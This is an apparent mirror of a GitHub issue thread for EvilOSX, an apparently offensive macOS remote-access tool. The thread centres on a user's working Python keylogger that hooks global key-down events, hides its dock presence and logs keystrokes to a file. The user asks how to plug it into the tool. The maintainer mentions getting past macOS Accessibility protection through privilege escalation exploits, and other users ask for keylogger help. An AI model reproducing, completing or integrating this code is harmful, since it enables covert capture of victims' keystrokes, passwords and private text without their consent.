GithubHelp home page GithubHelp logo

keylogger implementation about evilosx HOT 5 CLOSED

marten4n6 avatar marten4n6 commented on May 17, 2024
keylogger implementation

from evilosx.

Comments (5)

Marten4n6 avatar Marten4n6 commented on May 17, 2024

Which programming language is the keylogger written in? Also where can I find it?
A guide on how to make modules can be found here.

Thanks.

from evilosx.

tinamina12 avatar tinamina12 commented on May 17, 2024

the programming language is python. the link of keylogger is given below:
https://github.com/syndbg/python-keylogger/blob/master/keylogger/platforms/osx.py

from evilosx.

tinamina12 avatar tinamina12 commented on May 17, 2024

what i have done so far is developed a keylogger that logs the text only and not the whole event in a file and it keeps logging for a specific time. see my code below:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from AppKit import NSApplication, NSApp
from Foundation import NSObject, NSLog
from Cocoa import NSEvent, NSKeyDownMask
from PyObjCTools import AppHelper
import datetime
import os
import sys
import time
import math


class AppDelegate(NSObject):
    global endTime


    def applicationDidFinishLaunching_(self, notification):
        NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)

def handler(event):
    s=event.charactersIgnoringModifiers()
    print(s)
    print(time.time())
    print(endTime)
    if time.time() > endTime:
        AppHelper.stopEventLoop()
    else:
        with open("test.txt", "a+") as out:
            out.write(s + "\n")

if __name__ == '__main__':
    endTime = time.time() + 5
    app = NSApplication.sharedApplication()
    delegate = AppDelegate.alloc().init()
    NSApp().setDelegate_(delegate)
    NSApplicationActivationPolicyProhibited = 2
    NSApp.setActivationPolicy_(NSApplicationActivationPolicyProhibited)
    AppHelper.runEventLoop()

this runs as application, please guide me on how to integrate it with evilosx.

from evilosx.

Marten4n6 avatar Marten4n6 commented on May 17, 2024

Apple has protection against keylogging and requires you to allow the script in:
System Preferences -> Security & Privacy -> Accessibility -> Allow x

Because of this your script is quiet useless without root, although this is doable if I implement more privilege escalation exploits. A guide on how to make modules can be found here, once you've created the module create a pull request.

from evilosx.

Blackperl337 avatar Blackperl337 commented on May 17, 2024

can you please guide me if i have a key logger and i want to integrate it, what changes/additions are required? your help is appreciated much.

Hello Guys, Have you implemented the keylogger?
I also need some help with keylogger code.

from evilosx.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.